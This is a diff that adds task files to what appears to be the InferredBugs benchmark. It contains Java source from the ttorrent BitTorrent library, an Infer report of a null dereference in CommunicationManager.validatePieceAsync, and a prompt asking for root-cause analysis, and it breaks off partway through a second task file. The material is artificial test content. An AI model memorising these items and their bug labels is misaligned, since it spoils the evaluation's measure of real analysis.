+    forceAnnounceAndLogError(loadedTorrent, pieceStorage.isFinished() ? COMPLETED : STARTED);
+    logger.debug(String.format("Added torrent %s (%s)", loadedTorrent, loadedTorrent.getTorrentHash().getHexInfoHash()));
+    return new TorrentManagerImpl(listeners, loadedTorrent.getTorrentHash());
+  }
+
+  private void forceAnnounceAndLogError(LoadedTorrent torrent, AnnounceRequestMessage.RequestEvent event) {
+    try {
+      this.announce.forceAnnounce(torrent.createAnnounceableInformation(), this, event);
+    } catch (IOException e) {
+      logger.warn("unable to force announce torrent {}", torrent);
+      logger.debug("", e);
+    }
+  }
+
+  /**
+   * Removes specified torrent from storage.
+   *
+   * @param torrentHash specified torrent hash
+   */
+  public void removeTorrent(String torrentHash) {
+    logger.debug("Stopping seeding " + torrentHash);
+    final Pair<SharedTorrent, LoadedTorrent> torrents = torrentsStorage.remove(torrentHash);
+
+    SharedTorrent torrent = torrents.first();
+    if (torrent != null) {
+      torrent.setClientState(ClientState.DONE);
+      torrent.close();
+    }
+    List<SharingPeer> peers = getPeersForTorrent(torrentHash);
+    for (SharingPeer peer : peers) {
+      peer.unbind(true);
+    }
+    sendStopEvent(torrents.second(), torrentHash);
+  }
+
+  private void sendStopEvent(LoadedTorrent loadedTorrent, String torrentHash) {
+    if (loadedTorrent == null) {
+      logger.info("Announceable torrent {} not found in storage after unsuccessful download attempt", torrentHash);
+      return;
+    }
+    forceAnnounceAndLogError(loadedTorrent, STOPPED);
+  }
+
+  /**
+   * set specified announce interval between requests to the tracker
+   *
+   * @param announceInterval announce interval in seconds
+   */
+  public void setAnnounceInterval(final int announceInterval) {
+    announce.setAnnounceInterval(announceInterval);
+  }
+
+  /**
+   * Return the torrent this client is exchanging on.
+   */
+  public Collection<SharedTorrent> getTorrents() {
+    return this.torrentsStorage.activeTorrents();
+  }
+
+  @SuppressWarnings("unused")
+  public URI getDefaultTrackerURI() {
+    return announce.getDefaultTrackerURI();
+  }
+
+  /**
+   * Returns the set of known peers.
+   */
+  public Set<SharingPeer> getPeers() {
+    return new HashSet<SharingPeer>(this.peersStorage.getSharingPeers());
+  }
+
+  public void setMaxInConnectionsCount(int maxConnectionsCount) {
+    this.myInConnectionAllower.setMyMaxConnectionCount(maxConnectionsCount);
+  }
+
+  /**
+   * set ups new receive buffer size, that will be applied to all new connections.
+   * If value is equal or less, than zero, then method doesn't have effect
+   *
+   * @param newSize new size
+   */
+  public void setReceiveBufferSize(int newSize) {
+    myReceiveBufferSize.set(newSize);
+  }
+
+  /**
+   * set ups new send buffer size, that will be applied to all new connections.
+   * If value is equal or less, than zero, then method doesn't have effect
+   *
+   * @param newSize new size
+   */
+  public void setSendBufferSize(int newSize) {
+    mySendBufferSize.set(newSize);
+  }
+
+  public void setMaxOutConnectionsCount(int maxConnectionsCount) {
+    this.myOutConnectionAllower.setMyMaxConnectionCount(maxConnectionsCount);
+  }
+
+  /**
+   * Runs client instance and starts announcing, seeding and downloading of all torrents from storage
+   *
+   * @param bindAddresses list of addresses which are used for sending to the tracker. Current client
+   *                      must be available for other peers on the addresses
+   * @throws IOException if any io error occurs
+   */
+  public void start(final InetAddress... bindAddresses) throws IOException {
+    start(bindAddresses, Constants.DEFAULT_ANNOUNCE_INTERVAL_SEC, null, new SelectorFactoryImpl());
+  }
+
+  /**
+   * Runs client instance and starts announcing, seeding and downloading of all torrents from storage
+   *
+   * @param bindAddresses     list of addresses which are used for sending to the tracker. Current client
+   *                          must be available for other peers on the addresses
+   * @param defaultTrackerURI default tracker address.
+   *                          All torrents will be announced not only on the trackers from metadata file but also to this tracker
+   * @throws IOException if any io error occurs
+   */
+  public void start(final InetAddress[] bindAddresses, final URI defaultTrackerURI) throws IOException {
+    start(bindAddresses, Constants.DEFAULT_ANNOUNCE_INTERVAL_SEC, defaultTrackerURI, new SelectorFactoryImpl());
+  }
+
+  public Peer[] getSelfPeers(final InetAddress[] bindAddresses) throws UnsupportedEncodingException {
+    Peer self = peersStorage.getSelf();
+
+    if (self == null) {
+      return new Peer[0];
+    }
+
+    Peer[] result = new Peer[bindAddresses.length];
+    for (int i = 0; i < bindAddresses.length; i++) {
+      final InetAddress bindAddress = bindAddresses[i];
+      final Peer peer = new Peer(new InetSocketAddress(bindAddress.getHostAddress(), self.getPort()));
+      peer.setTorrentHash(self.getHexInfoHash());
+      //if we have more, that one bind address, then only for first set self peer id. For other generate it
+      if (i == 0) {
+        peer.setPeerId(self.getPeerId());
+      } else {
+        final String id = CommunicationManager.BITTORRENT_ID_PREFIX + UUID.randomUUID().toString().split("-")[4];
+        byte[] idBytes = id.getBytes(Constants.BYTE_ENCODING);
+        peer.setPeerId(ByteBuffer.wrap(idBytes));
+      }
+      result[i] = peer;
+    }
+    return result;
+  }
+
+  /**
+   * Runs client instance and starts announcing, seeding and downloading of all torrents from storage
+   *
+   * @param bindAddresses       list of addresses which are used for sending to the tracker. Current client
+   *                            must be available for other peers on the addresses
+   * @param announceIntervalSec default announce interval. This interval can be override by tracker
+   * @param defaultTrackerURI   default tracker address.
+   *                            All torrents will be announced not only on the trackers from metadata file but also to this tracker
+   * @param selectorFactory     factory for creating {@link java.nio.channels.Selector} instance.
+   * @throws IOException if any io error occurs
+   */
+  public void start(final InetAddress[] bindAddresses,
+                    final int announceIntervalSec,
+                    final URI defaultTrackerURI,
+                    final SelectorFactory selectorFactory) throws IOException {
+    start(bindAddresses, announceIntervalSec, defaultTrackerURI, selectorFactory,
+            new FirstAvailableChannel(6881, 6889));
+  }
+
+  public void start(final InetAddress[] bindAddresses,
+                    final int announceIntervalSec,
+                    final URI defaultTrackerURI,
+                    final SelectorFactory selectorFactory,
+                    final ServerChannelRegister serverChannelRegister) throws IOException {
+    this.myConnectionManager = new ConnectionManager(
+            this,
+            new SystemTimeService(),
+            myInConnectionAllower,
+            myOutConnectionAllower,
+            selectorFactory,
+            mySendBufferSize,
+            myReceiveBufferSize);
+    this.setSocketConnectionTimeout(DEFAULT_SOCKET_CONNECTION_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+    try {
+      this.myConnectionManager.initAndRunWorker(serverChannelRegister);
+    } catch (IOException e) {
+      LoggerUtils.errorAndDebugDetails(logger, "error in initialization server channel", e);
+      this.stop();
+      return;
+    }
+    final String id = CommunicationManager.BITTORRENT_ID_PREFIX + UUID.randomUUID().toString().split("-")[4];
+    byte[] idBytes = id.getBytes(Constants.BYTE_ENCODING);
+    Peer self = new Peer(new InetSocketAddress(myConnectionManager.getBindPort()), ByteBuffer.wrap(idBytes));
+    peersStorage.setSelf(self);
+    logger.info("BitTorrent client [{}] started and " +
+                    "listening at {}:{}...",
+            new Object[]{
+                    self.getShortHexPeerId(),
+                    self.getIp(),
+                    self.getPort()
+            });
+
+    announce.start(defaultTrackerURI, this, getSelfPeers(bindAddresses), announceIntervalSec);
+    this.stop.set(false);
+
+    myStarted = true;
+  }
+
+  /**
+   * Immediately but gracefully stop this client.
+   */
+  public void stop() {
+    this.stop(60, TimeUnit.SECONDS);
+  }
+
+  void stop(int timeout, TimeUnit timeUnit) {
+    boolean wasStopped = this.stop.getAndSet(true);
+    if (wasStopped) return;
+
+    if (!myStarted)
+      return;
+
+    this.myConnectionManager.close();
+
+    logger.trace("try stop announce thread...");
+
+    this.announce.stop();
+
+    logger.trace("announce thread is stopped");
+
+    for (SharedTorrent torrent : this.torrentsStorage.activeTorrents()) {
+      logger.trace("try close torrent {}", torrent);
+      torrent.close();
+      if (torrent.isFinished()) {
+        torrent.setClientState(ClientState.DONE);
+      } else {
+        torrent.setClientState(ClientState.ERROR);
+      }
+    }
+
+    logger.debug("Closing all remaining peer connections...");
+    for (SharingPeer peer : this.peersStorage.getSharingPeers()) {
+      peer.unbind(true);
+    }
+
+    torrentsStorage.clear();
+    logger.info("BitTorrent client signing off.");
+  }
+
+  public void setCleanupTimeout(int timeout, TimeUnit timeUnit) throws IllegalStateException {
+    ConnectionManager connectionManager = this.myConnectionManager;
+    if (connectionManager == null) {
+      throw new IllegalStateException("connection manager is null");
+    }
+    connectionManager.setCleanupTimeout(timeUnit.toMillis(timeout));
+  }
+
+  public void setSocketConnectionTimeout(int timeout, TimeUnit timeUnit) throws IllegalStateException {
+    ConnectionManager connectionManager = this.myConnectionManager;
+    if (connectionManager == null) {
+      throw new IllegalStateException("connection manager is null");
+    }
+    connectionManager.setSocketConnectionTimeout(timeUnit.toMillis(timeout));
+  }
+
+  /**
+   * Tells whether we are a seed for the torrent we're sharing.
+   */
+  public boolean isSeed(String hexInfoHash) {
+    SharedTorrent t = this.torrentsStorage.getTorrent(hexInfoHash);
+    return t != null && t.isComplete();
+  }
+
+  public List<SharingPeer> getPeersForTorrent(String torrentHash) {
+    if (torrentHash == null) return new ArrayList<SharingPeer>();
+
+    List<SharingPeer> result = new ArrayList<SharingPeer>();
+    for (SharingPeer sharingPeer : peersStorage.getSharingPeers()) {
+      if (torrentHash.equals(sharingPeer.getHexInfoHash())) {
+        result.add(sharingPeer);
+      }
+    }
+    return result;
+  }
+
+  public boolean isRunning() {
+    return myStarted;
+  }
+
+  private Collection<SharingPeer> getConnectedPeers() {
+    Set<SharingPeer> result = new HashSet<SharingPeer>();
+    for (SharingPeer peer : this.peersStorage.getSharingPeers()) {
+      if (peer.isConnected()) {
+        result.add(peer);
+      }
+    }
+    return result;
+  }
+
+  /**
+   * @param hash specified torrent hash
+   * @return true if storage contains specified torrent. False otherwise
+   * @see TorrentsStorage#hasTorrent
+   */
+  @SuppressWarnings("unused")
+  public boolean containsTorrentWithHash(String hash) {
+    return torrentsStorage.hasTorrent(hash);
+  }
+
+  @Override
+  public PeersStorage getPeersStorage() {
+    return peersStorage;
+  }
+
+  @Override
+  public TorrentsStorage getTorrentsStorage() {
+    return torrentsStorage;
+  }
+
+  @Override
+  public ExecutorService getExecutor() {
+    return myExecutorService;
+  }
+
+  public ExecutorService getPieceValidatorExecutor() {
+    return myPieceValidatorExecutor;
+  }
+
+  @Override
+  public ConnectionListener newChannelListener() {
+    return new StateChannelListener(this);
+  }
+
+  @Override
+  public SharingPeer createSharingPeer(String host,
+                                       int port,
+                                       ByteBuffer peerId,
+                                       SharedTorrent torrent,
+                                       ByteChannel channel,
+                                       String clientIdentifier,
+                                       int clientVersion) {
+    return new SharingPeer(host, port, peerId, torrent, getConnectionManager(), this, channel, clientIdentifier, clientVersion);
+  }
+
+  @Override
+  public TorrentLoader getTorrentLoader() {
+    return myTorrentLoader;
+  }
+
+
+  /** AnnounceResponseListener handler(s). **********************************/
+
+  /**
+   * Handle an announce response event.
+   *
+   * @param interval   The announce interval requested by the tracker.
+   * @param complete   The number of seeders on this torrent.
+   * @param incomplete The number of leechers on this torrent.
+   */
+  @Override
+  public void handleAnnounceResponse(int interval, int complete, int incomplete, String hexInfoHash) {
+    final SharedTorrent sharedTorrent = this.torrentsStorage.getTorrent(hexInfoHash);
+    if (sharedTorrent != null) {
+      sharedTorrent.setSeedersCount(complete);
+      sharedTorrent.setLastAnnounceTime(System.currentTimeMillis());
+    }
+    setAnnounceInterval(interval);
+  }
+
+  /**
+   * Handle the discovery of new peers.
+   *
+   * @param peers The list of peers discovered (from the announce response or
+   *              any other means like DHT/PEX, etc.).
+   */
+  @Override
+  public void handleDiscoveredPeers(List<Peer> peers, String hexInfoHash) {
+
+    if (peers.size() == 0) return;
+
+    SharedTorrent torrent = torrentsStorage.getTorrent(hexInfoHash);
+
+    if (torrent != null && torrent.isFinished()) return;
+
+    final LoadedTorrent announceableTorrent = torrentsStorage.getLoadedTorrent(hexInfoHash);
+    if (announceableTorrent == null) {
+      logger.info("announceable torrent {} is not found in storage. Maybe it was removed", hexInfoHash);
+      return;
+    }
+
+    if (announceableTorrent.getPieceStorage().isFinished()) return;
+
+    logger.info("Got {} peer(s) ({}) for {} in tracker response", new Object[]{peers.size(),
+            Arrays.toString(peers.toArray()), hexInfoHash});
+
+    Map<PeerUID, Peer> uniquePeers = new HashMap<PeerUID, Peer>();
+    for (Peer peer : peers) {
+      final PeerUID peerUID = new PeerUID(peer.getAddress(), hexInfoHash);
+      if (uniquePeers.containsKey(peerUID)) continue;
+      uniquePeers.put(peerUID, peer);
+    }
+
+    for (Map.Entry<PeerUID, Peer> e : uniquePeers.entrySet()) {
+
+      PeerUID peerUID = e.getKey();
+      Peer peer = e.getValue();
+      boolean alreadyConnectedToThisPeer = peersStorage.getSharingPeer(peerUID) != null;
+
+      if (alreadyConnectedToThisPeer) {
+        logger.debug("skipping peer {}, because we already connected to this peer", peer);
+        continue;
+      }
+
+      ConnectionListener connectionListener = new OutgoingConnectionListener(
+              this,
+              announceableTorrent.getTorrentHash(),
+              peer.getIp(),
+              peer.getPort());
+
+      logger.debug("trying to connect to the peer {}", peer);
+
+      boolean connectTaskAdded = this.myConnectionManager.offerConnect(
+              new ConnectTask(peer.getIp(),
+                      peer.getPort(),
+                      connectionListener,
+                      new SystemTimeService().now(),
+                      Constants.DEFAULT_CONNECTION_TIMEOUT_MILLIS), 1, TimeUnit.SECONDS);
+      if (!connectTaskAdded) {
+        logger.info("can not connect to peer {}. Unable to add connect task to connection manager", peer);
+      }
+    }
+  }
+
+  /**
+   * PeerActivityListener handler(s). *************************************
+   */
+
+  @Override
+  public void handlePeerChoked(SharingPeer peer) { /* Do nothing */ }
+
+  @Override
+  public void handlePeerReady(SharingPeer peer) { /* Do nothing */ }
+
+  @Override
+  public void handlePieceAvailability(SharingPeer peer,
+                                      Piece piece) { /* Do nothing */ }
+
+  @Override
+  public void handleBitfieldAvailability(SharingPeer peer,
+                                         BitSet availablePieces) { /* Do nothing */ }
+
+  @Override
+  public void handlePieceSent(SharingPeer peer,
+                              Piece piece) { /* Do nothing */ }
+
+  /**
+   * Piece download completion handler.
+   * <p/>
+   * <p>
+   * When a piece is completed, and valid, we announce to all connected peers
+   * that we now have this piece.
+   * </p>
+   * <p/>
+   * <p>
+   * We use this handler to identify when all of the pieces have been
+   * downloaded. When that's the case, we can start the seeding period, if
+   * any.
+   * </p>
+   *
+   * @param peer  The peer we got the piece from.
+   * @param piece The piece in question.
+   */
+  @Override
+  public void handlePieceCompleted(final SharingPeer peer, final Piece piece)
+          throws IOException {
+    final SharedTorrent torrent = peer.getTorrent();
+    final String torrentHash = torrent.getHexInfoHash();
+    try {
+      final Future<?> validationFuture = myPieceValidatorExecutor.submit(new Runnable() {
+        @Override
+        public void run() {
+          validatePieceAsync(torrent, piece, torrentHash, peer);
+        }
+      });
+      torrent.markCompletedAndAddValidationFuture(piece, validationFuture);
+    } catch (RejectedExecutionException e) {
+      torrent.markUncompleted(piece);
+      LoggerUtils.warnWithMessageAndDebugDetails(logger, "Unable to submit validation task for torrent {}", torrentHash, e);
+    }
+  }
+
+  private void validatePieceAsync(final SharedTorrent torrent, final Piece piece, String torrentHash, SharingPeer peer) {
+    try {
+      synchronized (piece) {
+
+        if (piece.isValid()) return;
+
+        piece.validate(torrent, piece);
+        if (piece.isValid()) {
+          piece.finish();
+          // Send a HAVE message to all connected peers, which don't have the piece
+          PeerMessage have = PeerMessage.HaveMessage.craft(piece.getIndex());
+          for (SharingPeer remote : getConnectedPeers()) {
+            if (remote.getTorrent().getHexInfoHash().equals(torrentHash) &&
+                    !remote.getAvailablePieces().get(piece.getIndex()))
+              remote.send(have);
+          }
+
+          final boolean isTorrentComplete;
+          synchronized (torrent) {
+            torrent.removeValidationFuture(piece);
+            torrent.notifyPieceDownloaded(piece, peer);
+
+            boolean isCurrentPeerSeeder = peer.getAvailablePieces().cardinality() == torrent.getPieceCount();
+            //if it's seeder we will send not interested message when we download full file
+            if (!isCurrentPeerSeeder) {
+              if (torrent.isAllPiecesOfPeerCompletedAndValidated(peer)) {
+                peer.notInteresting();
+              }
+            }
+
+            isTorrentComplete = torrent.isComplete();
+
+            if (isTorrentComplete) {
+              logger.debug("Download of {} complete.", torrent.getDirectoryName());
+
+              torrent.finish();
+            }
+          }
+
+          if (isTorrentComplete) {
+
+            LoadedTorrent announceableTorrent = torrentsStorage.getLoadedTorrent(torrentHash);
+
+            if (announceableTorrent == null) return;
+
+            AnnounceableInformation announceableInformation = announceableTorrent.createAnnounceableInformation();
+
+
+            try {
+              announce.getCurrentTrackerClient(announceableInformation)
+                      .announceAllInterfaces(COMPLETED, true, announceableInformation);
+            } catch (AnnounceException e) {
+              logger.debug("unable to announce torrent {} on tracker {}", torrent, torrent.getAnnounce());
+            }
+
+            for (SharingPeer remote : getPeersForTorrent(torrentHash)) {
+              remote.notInteresting();
+            }
+
+          }
+        } else {
+          torrent.markUncompleted(piece);
+          logger.info("Downloaded piece #{} from {} was not valid ;-(. Trying another peer", piece.getIndex(), peer);
+          peer.getPoorlyAvailablePieces().set(piece.getIndex());
+        }
+      }
+    } catch (Throwable e) {
+      torrent.markUncompleted(piece);
+      logger.warn("unhandled exception in piece {} validation task", e);
+    }
+  }
+
+  @Override
+  public void handlePeerDisconnected(SharingPeer peer) {
+    Peer p = new Peer(peer.getIp(), peer.getPort());
+    p.setPeerId(peer.getPeerId());
+    p.setTorrentHash(peer.getHexInfoHash());
+    logger.trace("Peer {} disconnected, [{}/{}].",
+            new Object[]{
+                    peer,
+                    getConnectedPeers().size(),
+                    this.peersStorage.getSharingPeers().size()
+            });
+    PeerUID peerUID = new PeerUID(peer.getAddress(), peer.getHexInfoHash());
+    peersStorage.removeSharingPeer(peerUID);
+  }
+
+  @Override
+  public void afterPeerRemoved(SharingPeer peer) {
+    logger.trace("disconnected peer " + peer);
+    torrentsStorage.peerDisconnected(peer.getHexInfoHash());
+  }
+
+  @Override
+  public void handleIOException(SharingPeer peer, IOException ioe) {
+    logger.debug("I/O problem occured when reading or writing piece data for peer {}: {}.", peer, ioe.getMessage());
+
+    peer.unbind(true);
+  }
+
+  @Override
+  public void handleNewPeerConnected(SharingPeer peer) {
+    //do nothing
+  }
+
+  public ConnectionManager getConnectionManager() throws IllegalStateException {
+    ConnectionManager connectionManager = this.myConnectionManager;
+    if (connectionManager == null) {
+      throw new IllegalStateException("connection manager is null");
+    }
+    return connectionManager;
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `CommunicationManager.announce.getCurrentTrackerClient(announceableInformation)` could be null and is dereferenced at line 716.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CommunicationManager.validatePieceAsync(SharedTorrent,Piece,String,SharingPeer)
+
+### Procedure Id:
+com.turn.ttorrent.client.CommunicationManager.validatePieceAsync(com.turn.ttorrent.client.SharedTorr.2d8cb52c2e59ffb4a817f1ba16c0de2e
+
+### File:
+ttorrent-client/src/main/java/com/turn/ttorrent/client/CommunicationManager.java
+
+### Key:
+CommunicationManager.java|validatePieceAsync|NULL_DEREFERENCE
+
+### Node Key:
+54baa67d5a81642daa9f98e65e8c7d44
+
+### Hash:
+ff8726ce0d99b6ff1ea4a1881791f168
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10013/instruction.md b/inferredbugs-10013/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9abd284356f5b22126241e05a8169b9b1a2cd88a
--- /dev/null
+++ b/inferredbugs-10013/instruction.md
@@ -0,0 +1,490 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ttorrent
+**Bug ID:** 60
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2000-2018 JetBrains s.r.o.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.turn.ttorrent.common.creation;
+
+import com.turn.ttorrent.Constants;
+import com.turn.ttorrent.bcodec.BEValue;
+import com.turn.ttorrent.bcodec.BEncoder;
+import com.turn.ttorrent.common.*;
+import org.jetbrains.annotations.NotNull;
+import org.slf4j.Logger;
+
+import java.io.*;
+import java.util.*;
+
+import static com.turn.ttorrent.common.TorrentMetadataKeys.*;
+
+public class MetadataBuilder {
+
+  private final static Logger logger = TorrentLoggerFactory.getLogger(MetadataBuilder.class);
+  private final static String DEFAULT_CREATED_BY = "ttorrent library";
+
+  private final TimeService timeService;
+
+  //root dictionary
+  @NotNull
+  private String announce = "";
+  @NotNull
+  private List<List<String>> announceList = new ArrayList<List<String>>();
+  private long creationDate = -1;
+  @NotNull
+  private String comment = "";
+  @NotNull
+  private String createdBy = DEFAULT_CREATED_BY;
+  @NotNull
+  private List<String> webSeedUrlList = new ArrayList<String>();
+  //end root dictionary
+
+  //info dictionary
+  private int pieceLength = 512 * 1024;//512kb by default
+  private boolean isPrivate = false;
+  @NotNull
+  private List<Source> sources = new ArrayList<Source>();
+  @NotNull
+  private String directoryName = "";
+  //end info dictionary
+
+  //fields which store some internal information
+  @NotNull
+  private PiecesHashesCalculator piecesHashesCalculator = new SingleThreadHashesCalculator();
+  //end
+
+  public MetadataBuilder() {
+    this(new SystemTimeService());
+  }
+
+  public MetadataBuilder(TimeService timeService) {
+    this.timeService = timeService;
+  }
+
+  /**
+   * set main announce tracker URL if you use single tracker.
+   * In case with many trackers use {@link #addTracker(String)}
+   * and {@link #newTier()}. Then as main announce will be selected first tracker.
+   * You can specify main announce using this method for override this behaviour
+   * Torrent clients which support BEP12 extension will ignore main announce.
+   *
+   * @param announce announce URL for the tracker
+   */
+  public MetadataBuilder setTracker(String announce) {
+    this.announce = announce;
+    return this;
+  }
+
+
+  /**
+   * Multi-tracker Metadata Extension. Add new tracker URL to current tier.
+   * This method will create first tier automatically if it doesn't exist
+   * You can find more information about this extension in documentation
+   * <a href="http://bittorrent.org/beps/bep_0012.html">http://bittorrent.org/beps/bep_0012.html</a>
+   *
+   * @param url tracker url
+   */
+  public MetadataBuilder addTracker(String url) {
+    initFirstTier();
+    announceList.get(announceList.size() - 1).add(url);
+    return this;
+  }
+
+  /**
+   * Multi-tracker Metadata Extension. Add all trackers to current tier.
+   * This method will create first tier automatically if it doesn't exist
+   * You can find more information about this extension in documentation
+   * <a href="http://bittorrent.org/beps/bep_0012.html">http://bittorrent.org/beps/bep_0012.html</a>
+   *
+   * @param trackers collections of trackers URLs
+   */
+  public MetadataBuilder addTrackers(Collection<String> trackers) {
+    initFirstTier();
+    announceList.get(announceList.size() - 1).addAll(trackers);
+    return this;
+  }
+
+  /**
+   * Multi-tracker Metadata Extension. Create new tier for adding tracker using {@link #addTracker(String)} method
+   * If you don't add at least one tracker on the tier this tier will be removed in building metadata
+   * You can find more information about this extension in documentation
+   * <a href="http://bittorrent.org/beps/bep_0012.html">http://bittorrent.org/beps/bep_0012.html</a>
+   */
+  public MetadataBuilder newTier() {
+    announceList.add(new ArrayList<String>());
+    return this;
+  }
+
+  /**
+   * Web Seeding Metadata.
+   * Web seeding url as defined by <a href='http://bittorrent.org/beps/bep_0019.html'>bep 0019</a>
+   * @param url URL to add for web seeding
+   */
+  public MetadataBuilder addWebSeedUrl(String url)  {
+    webSeedUrlList.add(url);
+    return this;
+  }
+
+  /**
+   * Set the creation time of the torrent in standard UNIX epoch format.
+   *
+   * @param creationTime the seconds since January 1, 1970, 00:00:00 UTC.
+   */
+  public MetadataBuilder setCreationTime(int creationTime) {
+    this.creationDate = creationTime;
+    return this;
+  }
+
+  /**
+   * Set free-form textual comment of the author
+   */
+  public MetadataBuilder setComment(String comment) {
+    this.comment = comment;
+    return this;
+  }
+
+  /**
+   * Set program name which is used for creating torrent file.
+   */
+  public MetadataBuilder setCreatedBy(String createdBy) {
+    this.createdBy = createdBy;
+    return this;
+  }
+
+  /**
+   * Set {@link PiecesHashesCalculator} instance for calculating hashes. In rare cases user's
+   * implementation can be used for increasing hashing performance
+   */
+  public MetadataBuilder setPiecesHashesCalculator(@NotNull PiecesHashesCalculator piecesHashesCalculator) {
+    this.piecesHashesCalculator = piecesHashesCalculator;
+    return this;
+  }
+
+  /**
+   * Set length int bytes of one piece. By default is used 512KB.
+   * Larger piece size reduces size of .torrent file but cause inefficiency
+   * (torrent-client need to download full piece from peer for validating)
+   * and too-small piece sizes cause large .torrent metadata file.
+   * Recommended size is between 256KB and 1MB.
+   */
+  public MetadataBuilder setPieceLength(int pieceLength) {
+    this.pieceLength = pieceLength;
+    return this;
+  }
+
+  /**
+   * Set the name of the directory in which to store all the files.
+   * If {@link #directoryName} isn't empty then multi-file torrent will be created, otherwise single-file
+   */
+  public MetadataBuilder setDirectoryName(@NotNull String directoryName) {
+    this.directoryName = directoryName;
+    return this;
+  }
+
+  /**
+   * add custom source in torrent with custom path. Path can be separated with any slash.
+   *
+   * @param closeAfterBuild if true then source stream will be closed after {@link #build()} invocation
+   */
+  public MetadataBuilder addDataSource(@NotNull InputStream dataSource, String path, boolean closeAfterBuild) {
+    sources.add(new Source(dataSource, path, closeAfterBuild));
+    return this;
+  }
+
+  /**
+   * add custom source in torrent with custom path. Path can be separated with any slash.
+   */
+  public MetadataBuilder addDataSource(@NotNull InputStream dataSource, String path) {
+    addDataSource(dataSource, path, true);
+    return this;
+  }
+
+  /**
+   * add specified file in torrent with custom path. The file will be stored in .torrent
+   * by specified path. Path can be separated with any slash. In case of single-file torrent
+   * this path will be used as name of source file
+   */
+  public MetadataBuilder addFile(@NotNull File source, @NotNull String path) {
+    if (!source.isFile()) {
+      throw new IllegalArgumentException(source + " is not exist");
+    }
+    sources.add(new Source(source, path));
+    return this;
+  }
+
+  /**
+   * add specified file in torrent. In case of multi-torrent this file will be downloaded to
+   * {@link #directoryName}. In single-file torrent this file will be downloaded in download folder
+   */
+  public MetadataBuilder addFile(@NotNull File source) {
+    sources.add(new Source(source));
+    return this;
+  }
+
+  /**
+   * marks torrent as private
+   *
+   * @see <a href="http://bittorrent.org/beps/bep_0027.html">http://bittorrent.org/beps/bep_0027.html</a>
+   */
+  public void doPrivate() {
+    isPrivate = true;
+  }
+
+  /**
+   * marks torrent as public
+   *
+   * @see <a href="http://bittorrent.org/beps/bep_0027.html">http://bittorrent.org/beps/bep_0027.html</a>
+   */
+  public void doPublic() {
+    isPrivate = false;
+  }
+
+  /**
+   * @return new {@link TorrentMetadata} instance with builder's fields
+   * @throws IOException           if IO error occurs on reading from source streams and files
+   * @throws IllegalStateException if builder's state is incorrect (e.g. missing required fields)
+   */
+  public TorrentMetadata build() throws IOException {
+    return new TorrentParser().parse(buildBinary());
+  }
+
+  /**
+   * @return binary representation of metadata
+   * @throws IOException           if IO error occurs on reading from source streams and files
+   * @throws IllegalStateException if builder's state is incorrect (e.g. missing required fields)
+   */
+  public byte[] buildBinary() throws IOException {
+    ByteArrayOutputStream baos = new ByteArrayOutputStream();
+    BEncoder.bencode(buildBEP(), baos);
+    return baos.toByteArray();
+  }
+
+  /**
+   * @return BEP-encoded dictionary of metadata
+   * @throws IOException           if IO error occurs on reading from source streams and files
+   * @throws IllegalStateException if builder's state is incorrect (e.g. missing required fields)
+   */
+  public BEValue buildBEP() throws IOException {
+    return buildAndCloseResources();
+  }
+
+  private BEValue buildAndCloseResources() throws IOException {
+    try {
+      return doBuild();
+    } finally {
+      closeAllSources();
+    }
+  }
+
+  private BEValue doBuild() throws IOException {
+    dropEmptyTiersFromAnnounce();
+
+    if (announce.isEmpty() && !announceList.isEmpty()) {
+        announce = announceList.get(0).get(0);
+    }
+    if (sources.size() == 0) {
+      throw new IllegalStateException("Unable to create metadata without sources. Use addSource() method for adding sources");
+    }
+    final boolean isSingleMode = sources.size() == 1 && directoryName.isEmpty();
+    final String name;
+    if (!directoryName.isEmpty()) {
+      name = directoryName;
+    } else {
+      if (isSingleMode) {
+        name = sources.get(0).getPath();
+      } else {
+        throw new IllegalStateException("Missing required field 'name'. Use setDirectoryName() method for specifying name of torrent");
+      }
+    }
+
+    Map<String, BEValue> torrent = new HashMap<String, BEValue>();
+    if (!announce.isEmpty()) torrent.put(ANNOUNCE, new BEValue(announce));
+    if (!announceList.isEmpty()) torrent.put(ANNOUNCE_LIST, wrapAnnounceList());
+    if (creationDate > 0) {
+      torrent.put(CREATION_DATE_SEC, new BEValue(creationDate));
+    }
+
+    if (!comment.isEmpty()) torrent.put(COMMENT, new BEValue(comment));
+    if (!createdBy.isEmpty()) torrent.put(CREATED_BY, new BEValue(createdBy));
+    if (!webSeedUrlList.isEmpty()) torrent.put(URL_LIST, wrapStringList(webSeedUrlList));
+
+    HashingResult hashingResult = piecesHashesCalculator.calculateHashes(mapSources(sources), pieceLength);
+
+    Map<String, BEValue> info = new HashMap<String, BEValue>();
+    info.put(PIECE_LENGTH, new BEValue(pieceLength));
+    info.put(PIECES, concatHashes(hashingResult.getHashes()));
+    info.put(PRIVATE, new BEValue(isPrivate ? 1 : 0));
+    info.put(NAME, new BEValue(name));
+    if (isSingleMode) {
+      Long sourceSize = hashingResult.getSourceSizes().get(0);
